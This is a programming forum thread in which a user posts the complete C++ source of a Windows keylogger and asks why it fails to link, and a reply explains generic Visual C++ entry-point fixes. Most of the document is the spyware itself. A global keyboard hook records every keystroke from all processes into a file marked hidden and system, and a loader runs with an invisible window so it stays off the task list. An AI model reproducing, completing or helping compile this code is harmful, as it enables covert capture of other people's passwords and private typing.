Hi,

Could someone help me with this error I am getting. I downloaded this program from a source code website.I am not a windows programmer.

When I compile a program in VC++ 5.0 the following error is be shown:

Linking...
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/KeyLogger.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.

KeyLogger.exe - 2 error(s), 3 warning(s)

The Code is as follows:
There are four files:
Hookeys.cpp
Hookeys.h
Keylogger.cpp
Keylogger.h

1.) Hookeys.cpp

/**************************************************
All code by fallenhobit....suck deez nuts you 
beeeiiitch ass script kiddies..can't do this with
vb....LOL.........................................
**************************************************/
#include "HookKeys.h"

//the following is to allow the sharing of data between instances of this dll...
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
char filename[256]={"c:\\index.dat"}; //initializing string to default location...
#pragma data_seg()

HINSTANCE hInstance;

/**************************************************
main procedure.....................................
**************************************************/
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwreason,  LPVOID lpReserved )
{
    switch(fdwreason)
    {
    case DLL_PROCESS_ATTACH:
        //to speed things up, disable recieving of messages in subsequent loaded copies
        DisableThreadLibraryCalls( hInst );
        hInstance = hInst;
    break;
    case DLL_THREAD_ATTACH:
    // A thread is created. Do any required initialization on a per thread basis
    break;
    case DLL_THREAD_DETACH:
    // Thread exits with  cleanup
    break;
    case DLL_PROCESS_DETACH:
    // The DLL unmapped from process's address space. Do necessary cleanup
        UnHook();
    break;
    }
    return TRUE;
}

/******************************************************
This is the keeyboard hook procedure that all keyboard 
input will be filtered through in each process
*******************************************************/
LRESULT WINAPI CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    char ch;
    char locname[80];
    strcpy(locname,filename);//must not pass shared pointers to other process's so we are copying to a local variable
                            //before passing the variable name outside of this routine.......

    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))//some of this if block was copied from 
    {                                               //a tutorial on CodeProject named "installhook",
                                                    //the rest is mine though.....
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
        {
            f1=fopen(locname,"a+");
            if (wParam==VK_RETURN)
            {   
                ch='\n';
                fwrite(&ch,1,1,f1);
            }
            else
            {
                BYTE ks[256];
                GetKeyboardState(ks);
                WORD w;
                UINT scan;
                scan=0;
                ToAscii(wParam,scan,ks,&w,0);
                ch =char(w); 
                fwrite(&ch,1,1,f1);
            }
            fclose(f1);
        }
    }

    LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );  
    return  RetVal;
}

/************************************************
Called to install the hook...pass TRUE to 
overwrite any existing log file...FALSE to retain
and append to an existing file .................
************************************************/
BOOL WINAPI InstallHook(BOOL overwrite)
{
    if(overwrite)
    {
        SetFileAttributes((LPCTSTR)filename,FILE_ATTRIBUTE_ARCHIVE);
        f1=fopen(filename,"w");
        fclose(f1);
    }

    SetFileAttributes((LPCTSTR)filename,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);

    hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hInstance,0);

    return TRUE;
}

/************************************************
Called to UnHook from the keyboard....not usually 
called by the user though....it is automatic when 
client that started the hook exits...............
************************************************/
BOOL WINAPI UnHook()
{
     BOOL unhooked = UnhookWindowsHookEx(hkb);
     return unhooked;
} 

/************************************************
call this function to set a path for the log file
other then the default..which is c:\index.dat....
************************************************/
void WINAPI SetSavePath(char *file)
{
    if(strlen(file))
    {
        strcpy(filename,file);
    }
}

2.) Hookeys.h

//----------------------------------------------------------------------//
#define WINAPI __stdcall//use the default windows api calling convention
//----------------------------------------------------------------------//
//includes
#include <windows.h>
#include <stdio.h>

LRESULT WINAPI CALLBACK KeyboardProc(int, WPARAM, LPARAM);
BOOL WINAPI InstallHook(BOOL=TRUE);
void WINAPI SetSavePath(char*);
BOOL WINAPI UnHook();

3.) Keylogger.cpp

/***********************************************
Fallenhobit, 02/25/02. This is a very basic 
Keystroke logger. There are many better 
commerical packages that do the same thing. But 
hey, I gotta start somewher, right? This does not
appear in the taskmenu but it does appear in the 
processes menu. The file is detectable if they 
have "Show Hidden Files" checked. 
***********************************************/
#include "KeyLogger.h"
//the following retrieves the command line parameters...
bool getParams(TCHAR *p1, TCHAR *p2, TCHAR *src);

//WinMain....where all the work is done....
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
    //variables
    HWND hwnd;
    WNDCLASSEX wincl;
    TCHAR name[]={"_FALLENHOBIT"};
    hInst = hInstance;
    MSG messages;
    LPTSTR commands = GetCommandLine();
    TCHAR p1[80];
    TCHAR p2[80];
    TCHAR over[80];
    int x = 0;
    HINSTANCE hinstDLL;
    inshook instkbhook;
    setsv SetPath;
    BOOL overwrite;
    //getting command line parameters
    x = getParams(p1,p2,(TCHAR*)commands);
    //filling out the window structure....setting most members to zero or null
    wincl.hInstance = hInstance;
    wincl.lpszClassName = name;
    wincl.lpfnWndProc = WndProc;
    wincl.style = 0;
    wincl.cbSize = sizeof(WNDCLASSEX);
    wincl.hIcon = NULL;
    wincl.hIconSm = NULL;
    wincl.hCursor = NULL;
    wincl.lpszMenuName = NULL;
    wincl.cbClsExtra = 0;
    wincl.cbWndExtra = 0;
    wincl.hbrBackground = 0;
    wincl.lpszMenuName = NULL;
    //register our new class..
    if(!RegisterClassEx(&wincl)) return 0;
    //create the non-visible window..thanks to the setting most members to zero...it wont show up in the task list
    hwnd = CreateWindowEx(0,(LPCTSTR)name,"",0,0,0,0,0,HWND_DESKTOP,NULL,hInstance,NULL);
    ShowWindow(hwnd,SW_HIDE);

    //if they passed the needed parameters
    if(x)
    {       
        _tcscpy(over,p2);
        convUp(over);
        if(testStrings(over,"TRUE"))//converting param 2 from string to BOOL
        {
            overwrite=TRUE;
        }
        else
        {
            overwrite=FALSE;
        }
        //load the library and hook into the keyboard
        hinstDLL = LoadLibrary((LPCTSTR) "HookKeys.dll");//loading the library
        instkbhook = (inshook)GetProcAddress(hinstDLL, "InstallHook"); //get the procedure adresses
        SetPath = (setsv)GetProcAddress(hinstDLL,"SetSavePath");
        (SetPath)(p1);//calling the procedures
        (instkbhook)(overwrite);
    }
    //now that all that mess is done, start the 
    //message loop and let this exe remain idle....it's just here so that 
    //our hooks dont get removed...................
    while(GetMessage(&messages, NULL, 0, 0))
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }

    return 0;
}

//this is needed by the idle exe
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    //send any messages to windows default procedure
   return DefWindowProc(hWnd, message, wParam, lParam);
}

//this processes the command line params
bool getParams(TCHAR *p1, TCHAR *p2, TCHAR *src)
{
    //variables
    int x=0;
    int y=_tcslen(src);
    int ret = 0;
    TCHAR temp1[80];
    _tcscpy(temp1,src);
    //search for first instance of param break
    x = findchar(temp1,' ');
    if(x>-1)
    {
        right(temp1,y-(x+1));//strip off prog name....

        y=_tcslen(temp1);//get new length
        x = findchar(temp1,' ');//find first loc of next space
        if(x>-1)
        {
            _tcscpy(p1,temp1);//copy over string
            left(p1,x);//strip to first arg
            right(temp1,y-(x+1));//strip to second arg
            _tcscpy(p2,temp1);
            ret = 2;
        }
    }
    return (bool)ret;
}

4.) Keylogger.h

//includes..........
#include <windows.h>
#include "head.h"
//func defs for the dll'ss
typedef BOOL (WINAPI *inshook)(BOOL);
typedef void (WINAPI *setsv)(char*);

//windows def for message loop
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//yeah window procedure for main window
HINSTANCE hInst;

It looks like there is no main function in the code. But both the cpp files have one Main function DllMain and WinMain. I don not understand this windows programming. I hope somebody can help me.

rational611

Edited 4 Years Ago by Dani: Formatting fixed

Hello,

If you have created a Win32 console application instead of a Win32 application by mistake, there are two ways to fix this problem:
From the Project menu, choose Settings, click the C/C++ tab, and change preprocessor definitions from WIN32, _DEBUG, _CONSOLE, and _MBCS to WIN32, _DEBUG, and _WINDOWS. Next, click the Link tab, and under Project Options, change /subsystem:console to /subsystem:windows. -or-


Create a new project and select Win32 Application instead of Win32 Console Application. Add the files to that project.
If you have created a Win32 console application and forgot to provide a main function, write a main function in one of the source files added to the project.
If you have selected main as the custom entry point by mistake, from the Project menu, choose Settings and click the Linker tab. Select output as the category and remove main from the entry-point symbol text box.
If your project is an ATL project, there are two ways to fix the problem:
Remove _ATL_MIN_CRT from the list of preprocessor definitions to allow CRT startup code to be included: From the Build menu, choose Settings. Hold down the CTRL key while selecting all of the release configurations. On the C/C++ tab, choose the General category, and then remove _ATL_MIN_CRT from the preprocessor definitions edit box. -or-


If possible, remove calls to CRT functions that require CRT startup code and use their Win32 equivalents. For example, use lstrcmp instead of strcmp. Known functions that require CRT startup code include the string and floating point functions.

Regards!

This article has been dead for over six months. Start a new discussion instead.